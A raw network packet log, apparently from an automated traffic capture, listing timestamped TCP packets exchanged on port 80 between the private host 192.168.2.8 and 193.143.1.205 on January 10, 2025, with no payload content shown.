Jan 10, 2025 19:33:53.097285986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.097306013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.097307920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.097317934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.097332001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.097341061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.097342968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.097362041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.097387075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.124028921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.145661116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.145677090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.145690918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.146143913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.174985886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175024986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175064087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.175082922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175127029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175151110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.175179005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175230980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175267935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.175283909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175342083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.175349951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175384045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175437927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175442934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.175472021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175507069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175527096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.175539970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175575018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175590992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.175610065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175648928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175663948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.175678015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.175729990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.204238892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204293966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204328060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204360962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204375982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.204396963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204413891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.204448938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204484940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204498053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.204519987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204571962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.204571962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204607010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204658985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204660892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.204691887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204726934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204747915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.204778910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204813957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204832077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.204847097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204883099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204900980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.204921007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.204967022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205018044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205053091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205106020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205106974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205159903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205210924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205212116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205264091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205301046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205308914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205352068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205387115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205396891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205423117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205457926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205476046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205492020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205526114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205539942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205569029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205620050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205624104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205671072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205709934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205719948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205740929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205775023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205785990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205811024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205845118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205852032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205882072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205915928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.205929041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.205950022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206001997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206011057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.206037045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206070900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206087112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.206105947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206156969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206168890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.206209898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206243992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206254005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.206298113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206331015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206353903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.206387043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206439018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206445932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.206476927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206511021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206530094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.206547976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206581116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206588984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.206615925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206650972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206671000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.206686020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206720114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206736088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.206753969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206788063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206810951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.206825018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206860065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.206877947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.209399939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.209889889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.209920883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.209944010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.209975958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210011959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210026026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.210063934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210098982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210110903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.210133076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210177898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.210187912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210222006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210257053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210267067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.210290909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210325003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210341930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.210359097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210395098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210406065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.210433960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210469961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210479975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.210522890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210567951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.210576057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210628033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210661888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210671902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.210696936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210745096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.210747957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210782051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210815907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210828066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.210853100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.210896015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.238234043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.238291979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.238343954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.238348007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.238384008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.238435984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.238442898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.238475084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.238513947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.238518000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.238544941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.238603115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.255949974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.263993025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.267554998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267596960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267640114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267646074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.267653942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267697096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.267707109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267720938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267756939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.267784119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267796993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267808914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267821074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267833948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.267837048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267852068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267859936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.267889977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267903090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267910004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.267915010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267927885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267950058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.267967939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.267978907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.267991066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.268002987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.268014908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.268027067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.268039942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.268043041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.268060923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.268083096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.296598911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296617985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296636105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296690941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.296709061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296722889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296737909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296752930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296770096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296772957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.296788931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296802044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.296806097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296823025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.296825886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296855927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296859026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.296869040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296885967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296899080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.296921015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296930075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.296945095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296969891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.296987057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.296994925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.297040939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.297786951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.297813892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.297902107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.297941923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298060894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298101902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298113108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298144102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298170090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298187017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298207045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298232079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298254013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298254967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298291922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298306942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298332930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298369884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298376083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298396111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298430920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298449039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298455000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298491955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298501968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298516989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298541069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298553944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298566103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298590899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298609972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298618078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298639059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298656940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298664093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298702002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298710108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298727036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298751116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298765898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298774004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298798084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298811913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298834085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298857927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298872948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298882008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298907042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298923969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298930883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298954964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.298973083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.298995972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299021959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299042940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.299067974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299093008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299115896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299120903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.299143076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299160004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.299166918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299194098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299212933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.299217939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299243927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299266100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.299267054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299292088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299305916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.299628019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299652100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299671888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.299674988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299700975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299712896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.299725056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299748898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299768925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.299772978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299798012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299809933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.299823046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299846888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299861908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.299873114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299901009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.299920082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.325886011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.325912952 CET	80	49704	193.143.1.205	192.168.2.8
